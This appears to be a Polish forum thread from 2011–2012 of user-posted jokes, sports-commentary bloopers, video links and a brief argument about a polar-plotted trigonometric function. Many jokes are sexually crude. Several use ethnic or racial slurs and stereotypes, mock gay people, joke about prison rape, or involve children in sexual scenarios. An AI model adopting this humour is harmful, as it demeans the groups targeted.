W hotelu spotykaja sie dwie pary. Dla urozmaicenia zycia erotycznego ustalaja ze na najblizsza noc nastapi zamiana partnerow. Na drugi dzien' faceci spotykaja sie; na sniadaniu:
- Mnie sie; nawet podobalo.
- Mnie tez.. Ciekawe, czy dziewczyny przypadly sobie do gustu.
...

Dziecko pyta ojca:
- tato tato kim jest transwestyta ?
ojciec odpowiada
- idz' do matki on ci powie

Hogata - 11-02-2011, 10:51

przemo napisał/a:
Nuroslaw napisał/a:
z wielkością też masz problem ? Stąd MałyGłód w avatarze ?

ale za to z jaką fajką ;)

P.S. to zależy z wielkością czego



Kobiety, ktore twierdza, ze rozmiar nie ma znaczenia sa plytkie!

Ruski - 11-02-2011, 18:18

Mały Jasio ogląda z ojcem telewizję. Nagle pojawia się plansza "Film tylko dla dorosłych".
- Tatusiu - pyta Jasio - dlaczego tego filmu nie mogą oglądać dzieci?
- Cicho bądź! Zaraz zobaczysz.

Dany - 13-02-2011, 11:02

Głos z pokoju:
-mamo, mamo zrób mi kanapkę...
Głos z kuchni:
-to, że sypiam z twoim ojcem, nie uprawnia cie byś nazywał mnie mamą!!!
-a jak mam mówić???
- no jak, jak? - poprostu mów Andrzej...

gringo - 15-02-2011, 14:17

zaprosili blondynkie na bal przebierańców ta nie mając lepszego pomysłu rozebrała się do naga
i cała wysmarowała na biało kremem nivea
na balu zdobyła pierwszą nagrodę za "kostium"
po balu jury pyta się ją: -
-niech nam pani w końcu zdradzi, za co się pani "przebrała"???
ta podnosi nogę do góry,
-za dziurę w zębie.

Kurierex - 16-02-2011, 17:13

-Co dostałaś na walentynki ?
...
-Okres

Ruski - 17-02-2011, 17:32

Pewne małżeństwo miało problemy z bezdzietnością. Postanowili więc pojechać do USA, do najlepszego specjalisty w tych sprawach. Mieli tylko jeden problem: żadne z nich nie znało angielskiego. Specjalista dał im
jednak na migi znać, że się mają wziąć "do roboty" i to zaraz, w gabinecie.
Początkowo nieśmiało, ale po chwili rozkręcili się na dobre. Doktor przygląda się ze wszystkich stron i nagle woła
- Stop!
Idzie do biura i po chwili wraca z receptą. Po powrocie do kraju mąż poszedł do apteki prosząc o "Trytheotherhol".
- Co? - pyta aptekarka.
- Trytheotherol, tu pisze na recepcie - mówi facet.
- Niech no pan mi to pokaże - rzekła aptekarka.
- Aaa, pan to niewłaściwie przeczytał - tu jest napisane: Try the other hole.

[ Dodano: 18-02-2011, 22:30 ]
papa americano dance (uwaga hard core...)
HIT

[ Dodano: 22-02-2011, 18:09 ]

martin - 24-02-2011, 08:48

Siedziałem sobie dziś w pociągu naprzeciwko bardzo seksownej tajskiej dziewczyny.
Powtarzałem sobie w myślach "tylko nie dostań erekcji, tylko nie dostań erekcji".
Niestety dostała...

klon - 24-02-2011, 09:03

martin napisał/a:
Niestety dostała...


znowu zapomniałem by nie czytać tego wątku pijąc jednocześnie kawę... :-)

pozdr

Bero - 24-02-2011, 20:22

Przychodzi baba do adwokata w sprawie rozwodu. - Potrzebny jest jakiś
powód - mówi adwokat - mąż pije?
- Ha, mam głowę trzy razy mocniejszą od niego!
- Może pieniędzy nie daje?
- Tylko by spróbował grosz sobie zatrzymać!
- Bije panią?
- Niechby mnie tknął, to by oknem wyfrunął!
- A jak tam z wiernością małżeńską?
- O, tu go mamy, panie mecenasie! Drugie dziecko nie jest jego!

Dąbek69 - 24-02-2011, 21:45

Wylądowali na ziemi kosmici i zachciało im się bzykac z ludxmi .znalazła sie para człowieków chętna na wymianę doświadczeń. Człowieka poszła do kosmity a człowiek do kosmitki.
Gdy człowieka zobaczyła "interesik" kosmity to powiedziała ,że to za malutki sprzęcik...
Kosmita kazał jej pociągnąc za lewe ucho .Pociagneła i ...interes urósł ale nie zmienił obwodu co nie było po mysli człowieki .Kosmitakazał jej pociągnąc za prawwe ucho i jak to zrobiła to "interesik" zwiekszył obwód , co bardzo zadowolilo człowiekę....
Po nocy wrócili do sieibie i człowieki zaczeli wymieniac sie doświadczeniami .
On
-Jak było z kosmitą ?
Ona
-Normalnie , nic szczególnego ....A jak było z kosmitką ?
On
- Jakas porąbana ta kosmitka ...Ciągle mnie za uszy ciągnęła...

breath - 25-02-2011, 20:40

Pani w szkole pyta o ich zwierzątka, przychodzi do Jasia:
- Jasiu masz może pieska?
- Mieliśmy kiedyś psa, proszę pani ale go zabiliśmy, bo ja mięsa nie jadłem, ojciec nie jadł i matka też nie, a dla jednego psa mięsa nie będziemy kupować.
- Jasiu to straszne, a kotka nie masz?
- Mieliśmy też i kotka, ale go zabiliśmy bo ja mleka nie piłem, ojciec i matka też nie, a dla jednego kota nie będziemy mleka kupować.
- Jasiu co ty mówisz, przyjdź jutro z mamą!
- Miałem kiedyś mamę, ale się jej z tatą pozbyliśmy, no bo ja jeszcze nie bzykam, tata już nie może, a dla sąsiada to nie będziemy trzymać

Przychodzi baba do lekarza i mówi:
- Panie doktorze nie rosną mi włosy na pi...ie
- A ile razy dziennie Pani sie bzyka?
- Sześć.
- Widzi Pani, na autostradzie też trawa nie rosnie... :D

Koleś złowił złotą rybkę, a że mamy czasy kryzysu, ta proponuje spełnić tylko 1 życzenie. Więc koleś mówi:
- Słuchaj rybka, chcę mieć półtorametrowego chu..a.
Rybka oczywiście się zgodziła. Koleś cały rozpromieniony. Wraca do domu, otwiera drzwi, patrzy, a tam Jarosław Kaczyński.

Spotykają się dwie krowy w rzeźni:
- Część, jestem Mućka.
- No cześć, ja Krasula.
- Pierwszy raz w rzeźni?
- Nie, kur..a drugi!!!

W banku:
-Wszyscy stać i nie ruszać się!
-To napad?
-Nie, kur...a, fotografia grupowa!

Dąbek69 - 26-02-2011, 13:18

Jechał gośc TIR-em i pod mostem sie zablokował ...Podjechała Policja i jeden policjant sie pyta :
-Co zablokował sie pan ?
-Nie k....a , most wiozłem i paliwa mi brakło

Ruski - 02-03-2011, 23:05

http://www.youtube.com/wa...player_embedded
norbertkoziar - 03-03-2011, 17:43

Przychodzi Marit Bjoergen do swojego lekarza. Lekarz - mam dla pani złą wiadomość.
Bjoergen - co wyzdrowiałam ?!
Lekarz - gorzej ! Justyna Kowalczyk zachorowała !!!

Ruski - 13-03-2011, 20:09

http://www.youtube.com/wa...player_embedded
QQS - 15-03-2011, 13:22

Pewna kobieta miała 2 synów - optymistę i pesymistę. Nie wiedziała co im kupić pod choinkę, wiec pesymiście kupiła śliczną kolejkę elektryczną, a na prezent dla optymisty zabrakło jej pieniedzy, toteż włożyła do pudełka końską kupę.
Gwiazdka:
Pesymista - Eeee do kitu ta kolejka, pewnie zaraz sie zepsuje...
Optymista - O rany! Dostałem konia! Tylko gdzie on uciekł?

Padre-Kris - 16-03-2011, 18:15

Przychodzi gość do spowiedzi mówi;
-Miałem stosunek seksualny z mężczyzną.
na to ksiądz
-Będzie Piekło!!!
A gość na to:
- Już piecze!!!!!!

hubert68 - 22-03-2011, 20:46

Dziennikarze sportowi - cytaty :


1. Biegnie Smolarek lewą stroną, po prawej puszcza Bąka

2. Adam Małysz skoczył 125 metrów. Czy Janne Ahonen go przeleci?

3. Jadą! Całym peletonem. Kierownica obok kierownicy, pedał obok pedała

4. Trener Włoch rozkłada ręce, trzymając się za głowę

5. Nawet nie pseudokibiców a bandytów, bo tak trzeba nazwać tych dżentelmenów

6.Zawodnicy są tak zaangażowani w walkę, jak aktorki filmów porno w dialogi - Jerzy Kulej.

7.Mecz zaczyna się za 15 minut, a wynik ciągle jest ten sam

8.Podczas meczu piłkarskiego nad stadion opada gęsta mgła. Jak państwo widzą, zawodników już nie widać!

9.Ta radość jest niesamowita. Ludzie się bawią, tańczą się - Tomaszewski

10.Kibiców szwedzkich nie ma zbyt dużo, ale za to nie grzeszą urodą - Andrzej Zydorowicz

11. Dostałem sygnał z Warszawy, że mają już państwo obraz, więc możemy spokojnie we dwójkę oglądać mecz

12. Pani Szewińska nie jest już tak świeża w kroku, jak dawniej

13. Mówię państwu, to jest naprawdę niezwykła dziewczyna. Dwie ostatnie noce spędziła poza wioską

14. Na trybunach nie ma żony Michała Bąkiewicza. Może dlatego, że nie jest żonaty

15. Zawodniczka nawiązała łączność z koniem

16. Siatkarze plażowi są często samotni, bo nie mają czasu na założenie rodziny. Ale są za to bardzo rodzinni

17. Obrona Mike coraz bardziej śmierdzi. Jak dworcowa knajpa

18. Polak walczy z Murzynem - to ten w czerwonych spodenkach

19. Szurkowski, cudowne dziecko dwóch pedałów

20. Na stadionie nikt nie siedzi, nikt nie stoi -wszyscy stoją

21. Nogi piłkarzy są ciężkie jak z waty.

22. Można to wyczytać z wyrazu twarzy konia, gdy jest zbliżenie

23.Teraz widać, ile kręci się tu dziwnych owadów podobnych do nietoperzy.

24. Jeśli Tyson podniesie się po tym ciosie, to będzie największy cud od zmartwychwstania Łazarza

Ruski - 24-03-2011, 19:49

Pierwszego dnia szkoły, przed rozpoczęciem lekcji, nauczycielka przedstawia klasie nowego ucznia:
- To jest Nguyen Dong z Wietnamu. Od dziś będzie waszym kolegą.
Lekcja się zaczyna. Nauczycielka mówi:
- Zobaczymy, ile pamiętacie z historii Polski. Kto wypowiedział słowa: "Mieczów ci u nas dostatek"?
W klasie cisza jak makiem zasiał, tylko Nguyen podnosi rękę i mówi:
- Władysław Jagiełło do posłów krzyżackich przed bitwą pod Grunwaldem, lipiec 1410.
- No i proszę, nie wstyd wam? Nguyen jest Wietnamczykiem, a historię Polski zna lepiej niż wy.
Czy chcecie udowodnić, że "Polak przed szkodą i po szkodzie głupi". No, jaki poeta to napisał?
Znowu wstaje Nguyen.
- Jan Kochanowski w pieśni o spustoszeniu Podola, 1586.
Nauczycielka z wyrzutem spogląda na uczniów.
W klasie zapada cisza. Nagle słychać czyjś głośny szept:
- Bierz dupę w troki i spierdalaj do swojego gównianego kraju.
- Kto to powiedział?! - krzyczy nauczycielka, na co Nguyen podnosi rękę i recytuje:
- Józef Piłsudski do generała Michaiła Tuchaczewskiego na przedpolach Warszawy, sierpień 1920.
W klasie robi się jeszcze ciszej. Słychać tylko, jak ktoś mruczy pod nosem:
- Możesz mnie pocałować w dupę.
Nauczycielka, coraz bardziej zdenerwowana:
- Przesadziliście. Kto tym razem?
Znów wstaje Nguyen.
Andrzej Lepper do Anety Krawczyk na IV krajowym zjeździe Samoobrony, Warszawa, styczeń 2004.
Tego jest już za wiele nawet dla nauczycielki. Biedna kobieta opada na krzesło, jęcząc:
- Boże, daj mi siłę, bo zaraz zwymiotuję.
Nguyen, nie czekając na pytanie:
- Papież Jan Paweł II na widok pielgrzymki Rodziny Radia Maryja, plac św. Piotra w Rzymie, marzec 1994.
Nauczycielka traci panowanie nad sobą. Ostatkiem sił rzęzi:
- Niech ktoś zabierze stąd tę kupę gówna.
Nguyen, niczym niezrażony:
- Borys Jelcyn, wskazując na Aleksandra Kwaśniewskiego po spełnieniu dziesiątego toastu na oficjalnym obiedzie na Kremlu w Moskwie, czerwiec 1998.
Nauczycielka mdleje. Jeden z uczniów mówi ze zgrozą:
- Jezu, to dopiero lachociąg!
Nguyen reaguje natychmiast:
- Prałat Henryk Jankowski, oceniając wysiłki ministranta Mariusza Olchowika po każdej mszy w kościele św. Brygidy w Gdańsku w latach 1998-2002.
Klasa podnosi dziki wrzask. Po chwili drzwi się otwierają i wbiega wkurzony dyrektor:
- Co wy, do diabła, wyprawiacie?! Takiej bandy debili jeszcze w życiu nie widziałem!
Na co Nguyen:
- Nicolas Sarkozy do polskiej delegacji, szczyt Unii Europejskiej w Brukseli, październik 2008.

[ Dodano: 28-03-2011, 19:20 ]

Gabrieljacek - 29-03-2011, 22:21

Dwóch budowlańców miało pomalować płot. Dostali farbę, pędzle i malują. Trafił się im klient to sprzedali część farby. Malują dalej ale zobaczyli, że zabraknie im farby. Jak tu wyjść z opresji przed właścicielem. Obok na łące pasł się koń. Jeden z budowlańców powiedział do drugiego: pomalujmy koniowi język resztką farby i powiemy właścicielowi, że farbę wypił koń. Jak pomyśleli, tak zrobili . Gdy właściciel usłyszał tą historyjkę przyniósł strzelbę i zastrzelił konia.
Budowlańcy zdziwieni spytali dlaczego tak okrutnie postąpił. Na to właściciel odpowiedział, że ostatnio koń zjadł mu metr desek i paletę cementu i on takiego darmozjada nie będzie już dłużej trzymał.

Ruski - 05-04-2011, 20:41

Rozmowa na poważny temat
Rolek - 06-04-2011, 11:23

Facet trafił do więzienia. Przyszedł czas pierwszego prysznica. Facet trochę zdenerwowany myje się i myśli: - żeby nie upuścić mydła, żeby nie upuścić mydła. Niestety mydło upada i facet zdenerwowany myśli znowu: - podnieść, nie podnieść? podnieść, nie podnieść? Rozejrzał się trochę i schylił się po mydło. Nagle poczuł że za jego plecami stoi inny z więźniów i pyta: - ze śliną czy bez?
Gość mega wystraszony i ze zrezygnowaniem odpowada: - ze śliną...
Na co współwięzień odwraca się i kiwając przywoławczo głową krzyczy: Ślinaaa!

Ruski - 07-04-2011, 13:57








Miły Maciej - 23-04-2011, 19:14

Jaka jest różnica między Polką a Chinką ???
Jak Polce kupisz spodnie to ci zrobi loda - a jak Chince kupisz loda to ci zrobi spodnie... ;)

Te_Pe - 23-04-2011, 21:09
Temat postu: eh, ta matematyka.....
dostałem do rozwiązania zadanie:

narysuj wykres funkcji

(1+0.9 cos(8t))(1+0.1 cos(24t))(0.9+0.05 cos(200t))(1+sin(t))

w przedziale -Pi, Pi

wyszło coś takiego ....

muszę zmienić wykładowcę.... :ping:

Dąbek69 - 29-04-2011, 23:28

Heh ...Zmienic albo utrzymywac z nim jak najlepsze hmmm...stosunki...Bez oblesnych domysłów proszę...
Ruski - 07-05-2011, 17:04


piotrek_n - 07-05-2011, 18:12
Temat postu: Re: eh, ta matematyka.....
Te_Pe napisał/a:
dostałem do rozwiązania zadanie:

narysuj wykres funkcji

(1+0.9 cos(8t))(1+0.1 cos(24t))(0.9+0.05 cos(200t))(1+sin(t))

w przedziale -Pi, Pi

wyszło coś takiego ....

muszę zmienić wykładowcę.... :ping:


faktycznie musisz zmienić bo funkcja dla kazdego x przyporzadkowuje DOKLADNIE JEDEN element ze zbioru Y. a to co podałeś to nie jest funkcja

Trajter - 07-05-2011, 22:36

Piotrek_n podane równanie jak najbardziej spełnia wszelkie wymagania funkcji. Jeśli już jestes takim purystą, to prawidłowy zapis powinien wyglądać następująco:
f(t)= (1+0.9 cos(8t))(1+0.1 cos(24t))(0.9+0.05 cos(200t))(1+sin(t))
Jeśli nie wierzysz, że to jest funkcja zrób sobie wykres w Excelu w przedziale t= -pi do pi
Co Ci wyszło?
A teraz zrób sobie wykres kołowy - radarowy (Polar Plot) - widzisz co wyszło? Rozumiesz na czym polega zabawa? Czy wiedziałeś, że w układzie kołowym wykres linii prostej (chyba zgodzisz się, że linia prosta jak najbardziej spełnia wymagania funkcji) to spirala?
Uśmiechu i miłej zabawy życzę.

piotrek_n - 07-05-2011, 22:47

w dalszym ciagu twierdze że to cos na tym rysunku to nie jest funkcja :)

[ Dodano: 07-05-2011, 22:47 ]
dobra, masz racje nie zwrocilem uwagi ze to kołowy

Dany - 09-05-2011, 21:14

Młoda mężatka tuli się do męża i pyta:
- Czy Ty naprawdę ożeniłeś się ze mną z miłości?
- No przecież - jesteś brzydka, głupia, biedna, więc to chyba miłość...



Na bezludnej wyspie rozbił się statek. Z katastrofy uratował się jeden facet. Jego wyspa była bezludna, ale na wyspie obok zauważył kilka cudownych dziewczyn. Przez cały tydzień kombinował jak się do nich dostać, ale nie miał żadnej lodzi, a wpław nie dało się płynąc bo były rekiny. Gdy był już na skraju rozpaczy spotkał żabę. która przemówiła:
- Wiesz co, jestem magiczna żaba i mogę spełnić jedno Twoje życzenie.
Facet bez namysłu odpowiada.
- Pie....lnij mi tu mostek.
Na to żaba wyginając się do tylu i dotykając łapkami ziemi.
- Aleś, ku*wa, wymyślił..

[ Dodano: 09-05-2011, 21:14 ]
Mąż postanowił zrobić niespodziankę i odwiedzić żonę przebywającą od tygodnia na delegacji. Przyjechał wyposzczony, więc od razu wziął ją do łóżka, seks urozmaicony, orgazm nieunikniony, finał!
Nagle zza ściany:
- Ku*wa, ciszej tam! Przez was już piątą noc nie można zasnąć!

gringo - 10-05-2011, 16:59

- Dlaczego kobiety zyja dłużej?
- W ten sposob Bog rekompensuje im czas stracony na parkowanie!

Ruski - 10-05-2011, 21:27


gringo - 11-05-2011, 09:44
Temat postu: zapracowani (rozmowa z GG)
X 9:20:14
hej
Y 9:20:23
cze
X 9:20:42
wiesz już co z sobotą??
Y 9:24:41
w8
X 9:25:23
ok
Y 9:37:08
ok musialem sporego posta nasmarowac
X 9:37:28
spox - w końcu w pracy jesteśmy

hubert68 - 12-05-2011, 11:43

Noc. Wielki pożar. Siedem jednostek straży pożarnej walczy z żywiołem. Do kierującego akcją podchodzi jakiś facet:
- Jak wam idzie? Nikt ze strażaków nie ucierpiał?!
- Niestety - odpowiada strażak - dwóch naszych ludzi zostało w płomieniach, a sześciu jest ciężko poparzonych. Ale za to wynieśliśmy z budynku szesnaście osób - trwa reanimacja.
- Szesnaście osób? Przecież tam był tylko ochroniarz!
- Skąd pan wie?! Kim pan jest?
- Kierownikiem tego prosektorium

train - 21-05-2011, 00:20

Chciałbym mieć taki idealny nurkowóz:
http://www.youtube.com/wa...player_embedded

Ruski - 25-05-2011, 16:44


zibomax1970 - 14-06-2011, 22:27

Młoda kobieta miała poważny wypadek samochodowy. Lekarze uratowali jej życie, ale nie dali rady ocalić jej skóry uszkodzonej przez ogień. Jej twarz wyglądała paskudnie. Jedynym ratunkiem był przeszczep. Ponieważ żona była cala poparzona, skórę musiał ofiarować ktoś inny. Dawcą został jej mąż, który oddał jej skórę z własnej pupy.

Operacja się udała, kobieta wyglądała tak pięknie jak dawniej. Jednak świadoma poświęcenia własnego męża mówi pewnego dnia:

- Kochanie, jestem ci tak wdzięczna, czy jest coś, co mogłabym dla ciebie zrobić?

- Nie, już czuję się wynagrodzony.

- W jakim sensie?

- Wyobraź sobie dziką satysfakcję, jaką czuję za każdym razem, kiedy twoja matka całuje cię w policzek...

[ Dodano: 14-06-2011, 22:35 ]
W nocy Jasiu mówi do taty:

-Tato a jaka jest różnica między c*pą a cipką ?

A tata:

-Jasiu jak chcesz wiedzieć to chodz ci pokażę.

Ida do pokoju mamy i tata cicho podnosi kołdrę, potem sukienkę i

mówi Jasiowi:

-Widzisz to jest cipka.

-A mogę dotknać ?

-Nie bo się c*pa obudzi

[ Dodano: 14-06-2011, 22:41 ]
Żul rozsiadł się wygodnie na ławce w parku. W ręku trzyma

denaturat, popijajac od czasu do czasu, druga ręka masturbuje się. Po chwili

mówi sam do siebie

-Eh, nie ma to jak szampan i dziwki.

[ Dodano: 14-06-2011, 22:45 ]
nie mogłam się powstrzymać :D i z góry przepraszam za wulgaryzmy ;)



Zamożny właściciel masarni miał przygłupiego syna. Ale rad nierad chciał go wprowadzić w biznes i przekazać obowiązki, w końcu to syn.
Prowadzi go na halę i pokazuje urządzenie.
- Patrz synu, to jest automat do parówek, kumasz?
- Nie
- OK, wkładasz barana z jednej strony z drugiej wychodzi parówka.
Rozumiesz?
- Nie bardzo.
- k**wa, co tu nie rozumieć ?! Baran, maszyna, parówka.
Patrz, tu wsadzamy barana. Chodź na drugą stronę. Tu wychodzi parówka.
Wiesz o co chodzi ?
- Nie za bardzo...
- Kuuuuuuuuurwa mać, czy Ty jesteś a fee?
- Tato, a nie ma takiej maszyny, żeby włożyć parówkę i żeby wyszedł baran?
- Tak, k**wa, jest !!!!!!!!!!!! Twoja matka...

jacekplacek - 16-06-2011, 06:55


Ruski - 16-06-2011, 16:58

Kolega opowiada koledze:
- Byłem u lekarza i poprosiłem o syrop od kaszlu,
a on dał mi nie wiem czemu środek na rozwolnienie.
- Zażyłeś ten środek?
- Zażyłem.
- I co, kaszlesz?
- Nie mam odwagi...

[ Dodano: 21-06-2011, 22:01 ]
Zawody dla Gejów - kto ma lepsze czucie w ... :ping:
- pierwszy zawodnik - wsad- stalowy pręt
- rozpoznanie - stal hartowana, skład stali... , wytopiony w hucie ..., średnica ..., masa ... - wszystko perfekt !
Jury jest zachwycone - punktacja same 10 !
- drugi zawodnik - wsad- noga od krzesła
- rozpoznanie - krzesło w stylu Ludwika 55 , dąb pochodzący z przed 51 lat, rósł na nasłonecznionym stoku, trzy razy trafiał w niego piorun etc.
- Jury znowu jest zachwycone ! Same 10
- trzeci zawodnik , zabrakło pomysłu , jeden z członków Jury nie namyślając się chlusnął kawą którą miał w kubku
- zawodnik - ssssscccc....
- co gorąca ?
- nie ... gorzka

[ Dodano: 23-06-2011, 19:54 ]


[ Dodano: 23-06-2011, 19:56 ]


[ Dodano: 30-06-2011, 16:44 ]
http://www.youtube.com/wa...player_embedded

[ Dodano: 04-07-2011, 14:30 ]
Japońska sauna

hubert68 - 05-07-2011, 23:42

Cała prawda o polityce...
Synek przychodzi do ojca i pyta, czy mógłby mu wyjaśnić, co to jest polityka. Ojciec odpowiedział: "Oczywiście, że mogę ci to wyjaśnić. Weźmy na przykład naszą rodzinę. Przynoszę do domu pieniądze, możemy mnie więc nazwać kapitalizmem. Twoja mama zarządza tymi pieniędzmi, nazwijmy ją więc rządem. Obydwoje troszczymy się wyłącznie o twoje dobro, jesteś więc narodem. Nasza pomoc domowa jest klasą robotniczą, a twój mały braciszek, który jeszcze leży w pieluszkach to przyszłość. Zrozumiałeś?" Synek nie był za bardzo pewny, czy dobrze wszystko zrozumiał, zdecydował więc, że musi się najpierw z tym przespać. W środku nocy obudził się, gdyż braciszek narobił w pieluchę i krzyczał. Wstał i zapukał do sypialni rodziców, ale mama spała bardzo głęboko i nie dało się jej obudzić. Poszedł więc do gosposi i znalazł w jej łóżku swojego ojca. Nie przeszkadzało im wielokorotne pukanie do drzwi. Wrócił więc po prostu do łóżka. Następnego ranka ojciec zapytał syna, czy teraz już pojął, co to jest polityka i czy umie mu to wyjaśnić własnymi słowami. Syn odpowiedział: "Tak, teraz już wiem. Kapitalizm pieprzy klasę robotniczą podczas gdy rząd śpi. Naród jest totalnie ignorowany, a przyszłość jest zasrana!"

Ruski - 06-07-2011, 13:43

BYSTRA MATKA

Janek zaprosił swoja mamę na obiad. W mieście, w którym studiował, wynajmował małe mieszkanie, razem z koleżanką Justyną. Kiedy matka Janka odwiedziła go, zauważyła, ze współlokatorka syna jest wyjątkowo atrakcyjną dziewczyną. Matka, jak to matka, zaczęła zastanawiać się, czy aby z tego ich wspólnego mieszkania nie wynikną jakieś problemy. Kiedy więc byli sam na sam, Janek oznajmił:
- Domyślam się, o czym myślisz, ale zapewniam cię, że ona i ja jesteśmy tylko współlokatorami. Nic nas nie łączy.
Tydzień później Justyna stwierdziła, ze w ich wynajętym mieszkaniu brakuje cukiernicy. Zwróciła się, więc do Janka:
- Nie chcę nic sugerować, ale od ostatniego obiadu z twoją matką nie mogę znaleźć mojej pamiątkowej cukierniczki. Chyba jej nie wzięła, jak myślisz?
Jasiek zdecydował się napisać list do matki:
- "Droga Mamo, nie twierdzę, że wzięłaś pamiątkową cukiernicę Justyny... nie twierdzę też, że jej nie wzięłaś. Faktem jednak jest to, że od czasu Twojej wizyty u nas nie możemy jej znaleźć."
Kilka dni później otrzymał odpowiedz:
-"Drogi Synku, nie twierdzę, że sypiasz z Justyną... nie twierdzę również, że z nią nie sypiasz. Faktem jednak jest to, że gdyby Justyna spała we własnym łóżku, to już dawno by ją znalazła.
Buziaczki, Mama".

Barcez - 10-07-2011, 06:46

Zasłyszane od Seby:

Jak przerobić zmywarkę na odśnieżarkę??
Dać Babie łopatę.

Ruski - 10-07-2011, 16:53



[ Dodano: 18-07-2011, 21:42 ]
Policjant rozwiązuje krzyżówkę.
Wstrzymuje się przy haśle:
"Największy ptak na trzy litery".
Chwilkę pomyśli, podrapie się za uchem, po czym z dumą pisze:
"MÓJ"

[ Dodano: 26-07-2011, 21:01 ]
bestia;)

koparkowy - 01-08-2011, 17:48

Spotyka się trzech kumpli i rozmawiają, który z nich ma najbrzydszą teściową:

Pierwszy: Ja mam tak brzydką teściową, że nie mogę na nią patrzeć.

Drugi mówi: Ja mam tak brzydką teściową, że musiał bym ją zamknąć w pokoju bez okien.

Trzeci mówi: Ja mam tak brzydką teściową, że jak zrobiłem jej zdjęcie i powiesiłem na drzewie to szpaki oddały mi zeszłoroczne czereśnie.

Ruski - 02-08-2011, 08:05


hennessy - 02-08-2011, 11:30

Ruski napisał/a:
Kałach


mocne...







(myślałem, że chociaż magazynek wyjmą.... ale twardzi zawodnicy byli)

Ruski - 23-08-2011, 20:29

http://www.youtube.com/wa...player_embedded
gringo - 05-10-2011, 13:01

Obecnie jest możliwość adoptowania Greka za jedyne 500 Euro .
Grek będzie robić za Ciebie wszystko na co nie masz czasu.
Spać za Ciebie do jedenastej.
Chodzić za Ciebie na kawę oraz na papierosa.
Odbywać poobiednią sjestę, a wieczorem siedzieć za Ciebie w knajpce lub przed telewizorem. Za dodatkową opłatą 50 Euro może też poopierdalać się za Ciebie na Facebooku :)
Ja już adoptowałem i mam luz - mogę pracować od rana do wieczora!

P.S. Wpłaty należy przekazywać za pośrednictwem Komisji Europejskiej"

Dąbek69 - 11-10-2011, 22:36

Facet zorientował się,że zona go zdradza, bo przez sen wymawia imię Rysiek.
Postanowił nakryc owego Ryśka ze swoja zoną. Udał,ze wychodzi do pracy i schował się w szafie.
Rano żona wstała i zaczęła się "upiekszac" przed lustrem. Zadzwonil dzwonek i wszedł gościu -Rysiek.
Mąż malo nie wyskoczył z szafy ale pomysał sobie " Poczekam może przynajmniej go najpierw zobaczę" .Rysiek wszedł do sypialni a mąz patrzy i mysli...Kurde niezły facet, wysoki ,sylwetka sportowca ...A niech facetowi będzie...Rysiek się rozebrał a tu ciało sportowca,kaloryfer ,biceps, triceps klata wszystkie mięsnie super ...Mąz sobie pomyślał "Niech sobi poużywa gościu a co mi tam..."Rysiek zdjął spodenki a tu 30 cm "w spoczynku" Mąż do siebie w myślach:"Kawał chłopa taki gośc ..Niech mu będzie" Potem rozebrała się żona a tu : Piersi na brzuchu,rozstępy ,obwisły brzuch ,cellulitis...A mąż w myslach do siebie :Ja pierniczę , jaki obciach przed Ryśkiem

Ruski - 19-10-2011, 19:31

[URL=http://www.youtube.com/watch?v=EMs-4fUZd-k&feature=player_embedded#!];)))[/URL]
jacekplacek - 20-10-2011, 08:37


triboy - 20-10-2011, 23:29

http://www.youtube.com/wa...zG5zGg&index=13
;)

Ruski - 24-10-2011, 23:46

http://www.youtube.com/wa...player_embedded
Grotto8 - 19-11-2011, 13:30

Kłopoty z płatnością
Ruski - 25-11-2011, 17:05

Odruch Pawłowa
slawek290 - 25-11-2011, 20:00

Ruski napisał/a:
Odruch Pawłowa


Nie to raczej efekt nauczania Prezesa telewizji

Grotto8 - 30-11-2011, 13:23

Polacy nie gęsi, swój język mają...

Reklamę zamknijcie, bo nie będzie napisów widać.

Ruski - 30-11-2011, 18:49

którą postacią z bajki utożsamiłbyś się TY?

jacekplacek - 12-12-2011, 09:14


Ruski - 06-01-2012, 10:48

http://www.youtube.com/wa...player_embedded
jacekplacek - 25-01-2012, 17:00



[ Dodano: 25-01-2012, 23:58 ]


[ Dodano: 26-01-2012, 17:45 ]

Dany - 30-01-2012, 10:44

Spotykają się Dyżur i Edyp.
Edyp do Syzfa: To Rolling Stones
Dyżur: To Mother Fucker

[ Dodano: 30-01-2012, 10:47 ]
Spotykają się Syzyf i Edyp.
Edyp do Syzfa: To Rolling Stones
Dyżur: To Mother Fucker

[ Dodano: 30-01-2012, 10:53 ]
Spotykają się Syzyf i Edyp.
Edyp do Syzfa: Yo Rolling Stones
Stzyf: Yo Mother Fucker

Za trzecim razem się udało ale kawał spalony

WW - 30-01-2012, 11:38

Niestety nie wiem jak wkleić film, więc daje link.

http://www.zajawkowo.pl/f...echana-reklama/

jacekplacek - 31-01-2012, 16:39


Beeker - 31-01-2012, 23:55

no to widzę że wątek zdechł śmiercią naturalną ...



reanimacja:

- Panie doktorze, a nie mogę dostać tego leku co zwykle? Dobrze działa ...
- Nie. Na Teneryfie już byłem.

triboy - 02-02-2012, 15:39

Pewnie czerstwe, ale co tam;)

Facet zobaczył na ulicy kobietę z idealnymi piersiami. Podbiegł do niej i spytał się:
- Czy dasz mi jedną ugryźć za stówę?
- Wal się pan.
- To może za tysiąc?
- Nie jestem dziwką.
- A za 10.000 zł?
Kobieta pomyślała sobie, że to spora sumka i warto ją zdobyć.
- Dobrze, ale nie tu.
Poszli w ciemny zaułek, gdzie kobieta rozebrała się od pasa w górę pokazując najpiękniejsze piersi na świecie. Facet zaczął je lizać, pieścić, ssać i całować, ale nie gryzł. W końcu zniecierpliwiona kobieta powiedziała:
- To ugryzie pan czy nie?
- Nie, trochę drogo...

Nuroslaw - 02-02-2012, 19:37

sposób na kontrolę drogową :)

http://www.youtube.com/wa...player_embedded

FotoMiś - 03-02-2012, 10:28

"PO podpisuje ACTA "

jak dla mnie perełka wśród licznych, mniej lub bardziej udanych, przeróbek "Der Untergang"

http://www.youtube.com/watch?v=Na4KbXEMZk4

Beeker - 03-02-2012, 13:37

Nazwa państwa na jedną literę?

.
.
.

Samoa

Te_Pe - 21-02-2012, 18:03

... Właśnie wróciłem z wakacji z Tajlandii. Mało brakowało, a przespałbym się z transwestytą!
Wyglądał jak kobieta, pachniał jak kobieta, mówił jak kobieta, całował jak kobieta.
Dopiero, kiedy zajeżdżaliśmy do jego mieszkania i zaparkował równolegle za pierwszym podejściem, zdałem sobie sprawę, że coś tu nie gra...

kokaroll - 21-02-2012, 19:30

:)))))) )
lozerka - 21-02-2012, 21:30

Te_Pe napisał/a:
zaparkował równolegle za pierwszym podejściem, zdałem sobie sprawę, że coś tu nie gra..


szowiniści :uuuu:

;-) :-D

Nuroslaw - 22-02-2012, 09:58

a nie prawdę napisał? :aaa:

